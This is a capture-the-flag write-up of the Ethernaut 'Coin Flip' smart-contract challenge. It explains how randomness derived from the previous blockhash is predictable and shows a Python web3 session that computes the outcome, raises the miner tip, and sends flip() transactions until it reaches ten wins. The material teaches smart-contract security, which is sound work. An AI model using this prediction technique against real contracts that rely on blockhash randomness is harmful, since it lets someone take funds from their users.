Hacking Smart Contracts — Coin Flip

Ethernaut Coin Flip

Exploiting Bad Randomness

There are plenty of use cases where the use randomness is necessary. Due to the nature of blockchain environment, it is often the case that coding randomness behaviour on smart contracts is badly done and can insert serious vulnerabilities, which when exploited will compromise all the business security assumptions that are based upon the smart contract logic.

The next challenge implements the game of guessing the outcome of flipping a coin. Refer below for the code:

After analysing the above code, we can see that these 4 lines of code are the most interesting, because they are trying to simulate the randomness of flipping a coin:

11: uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
18: uint256 blockValue = uint256(blockhash(block.number.sub(1)));
25: uint256 coinFlip = blockValue.div(FACTOR);
26: bool side = coinFlip == 1 ? true : false;

Any source or attempt to simulate randomness that is predictable, automatically breaks it. On this scenario, we can see that the formula for the flipping outcome is based on 1 variable (blockValue) and 1 constant (FACTOR) division. If we can predict the variable, then we can guess the outcome pretty accurately.

Inspecting blockValue:

  • block.number.sub(1): This expression refers to the current block number our transaction is going to be included, minus 1. More simply, the latest successfully mined block — lets call it block number 123456…
  • blockhash(123456…): Will return the hash of the target block number — lets call it 0xdeadbeef…
  • uint256(0xdeadbeef…): Will return an unsigned int, representing the hexadecimal value in base 10 — lets call it 95877606… = blockValue

Inspecting coinFlip:

  • FACTOR: Is our constant value — 57896044618658097711…
  • blockValue.div(57896044618658097711…): This will return the integer division of the blockValue with the FACTOR.

Inspecting side:

  • coinFlip == 1 ? true : false: Will return True or False depending if the integer division is 1 or 0, respectively.

The final idea looks pretty simple:

  1. We find out what is the block number of the latest mined block and get its blockhash converted to uint.
  2. We do an integer division with the FACTOR constant and check if it is True that it is equal to 1.
  3. Finally, we create and send a transaction, immediately, calling the coinFlip function, with the previous topic result as parameter.
Note: It is very important that the transaction is sent right after reading the last block number, because when the smart contract function gets executed, it might happen that our transaction will end 1 or 2 blocks away from the one we read (latest). If that happens, our guess will probably be wrong.

Coding and exploiting bad randomness

Getting the blockValue

The following code will find out and calculate the blockValue of the latest mined block:

root@Web3 ❯ python -i genesis.py   
[+] Loaded wallet addr: 0xC43D69354685c5718EC4549b7590808dc3f2b533 with balance: 0.595012697712219867
[+] Loaded target contract addr: 0x4B42777f8121A278D5187015386202B6D01fBFD5
>>> latest_block_number = w3.eth.blockNumber
>>> latest_bloch_hash = w3.eth.get_block(latest_block_number).get('hash').hex()
>>> block_value = int(latest_bloch_hash,16)
>>> print(f"[+] Latest block number: {latest_block_number}\n[+] Latest blockhash: {latest_bloch_hash}\n[+] Got block value: {block_value}")
[+] Latest block number: 11253385
[+] Latest blockhash: 0xaef8ec85f025ea19c93f219399fac5add90d49c17a728164aa3c9f5700c8ea6c
[+] Got block value: 79142246148654687297757387321257564996090401024636182691366764704723326528108

Calculating our magic guess

Next, we do the following calculation with the FACTOR constant and find out if the result is True of False:

...
>>>
>>> FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968
>>> magic_guess = (block_value//FACTOR == 1)
>>> print(f"[+] Guess: {magic_guess}")
[+] Guess: True

Building, Signing and Broadcasting our Transaction

Since we already have our magic guess, lets call the smart contract function:

...
>>>
>>> tx = target_contract.functions.flip(magic_guess).buildTransaction({'from':account.address, 'nonce':w3.eth.get_transaction_count(account.address)})
>>> signed_tx = w3.eth.account.sign_transaction(tx, read_wallet_key())
>>> tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
>>> print(f"[+] TxHash: {tx_hash.hex()}")
[+] TxHash: 0x14831bef8590aa1b86d1c73daf0456a5693047d80803b2a1d7beb06f75919df6

Did we win this one?

...
>>>
>>> wins = target_contract.functions.consecutiveWins().call()
>>> print(f"[+] Consecutive Wins: {wins}")
[+] Consecutive Wins: 1

Awesome! To complete this challenge, we need to win 10 times in a row, so fell free to repeat the process 9 more times.

Bonus: Praying to God of Automation and Tipping

One of the things I noticed while doing this challenge, is that there is an inherent game of chance that is really not related to the implemented bad randomness. Even if you know the block number and do all the calculations, your transaction might be delayed 1, 2 or 3 blocks away from when you calculated the latest one.

There is a way to increase the chance that our transaction will be included in the next mined block, which is, by giving a bigger tip to our miners. Although this method increases the probability, it still might fail and on 10 attempts, you will notice that. The following code shows how to increase our tip:

...
>>>
>>> tx = target_contract.functions.flip(magic_guess).buildTransaction({'from':account.address, 'nonce':w3.eth.get_transaction_count(account.address)})
>>> tx['maxPriorityFeePerGas'] = 60000000000
>>> tx['maxFeePerGas'] = tx['maxPriorityFeePerGas'] + w3.eth.get_block('latest').get('baseFeePerGas')

Explanation:

  • maxPriorityFeePerGas: Tip to our miner
  • maxFeePerGas = baseFeePerGas + maxPriorityFeePerGas: Maximum amount we are willing to pay for gas

Finally, I will share the final script I made to automate this process (checkout my previous posts for the genesis.py file):

Running the final code

root@Web3 ❯ python -i ethernaut_coin_flip.py
[+] Loaded wallet addr: 0xC43D69354685c5718EC4549b7590808dc3f2b533 with balance: 0.599170625923882665
[+] Loaded target contract addr: 0x4B42777f8121A278D5187015386202B6D01fBFD5
[...snip...]
[+] Latest block number: 11253025
[+] Latest blockhash: 0xd3f8cd4ee2a04c68ab7a39720965f5a27972300104355899d332305902f0e28b
[+] Got block value: 95877606107877700247535714859388995169735888187150156214352074211743268659851
[+] Guess: True
[+] TxHash: 0xf2412ee1a05e1746f8639eaa767b6cc1c96e240498e18646de8599a78fad7aac
[-] Transaction not mined yet, sleeping..
[+] Consecutive Wins: 9
[+] Sleeping for 15 secs...
[+] Latest block number: 11253027
[+] Latest blockhash: 0x0318c2b3e3da13add88ebea88f0d50d3451b8b212213897c4ed48969f41c5c77
[+] Got block value: 1400686663921813008577162282003513465104634776396446396542828205956010892407
[+] Guess: False
[+] TxHash: 0xdf0886d6b8abb2d800cd0d94c443d215d0d5e776fbad8020047b89a5776058f8
[-] Transaction not mined yet, sleeping.....
[+] Consecutive Wins: 10
[+] Challenge Completed!

References

Big props to @the_ethernaut for creating the content.

Share: Twitter LinkedIn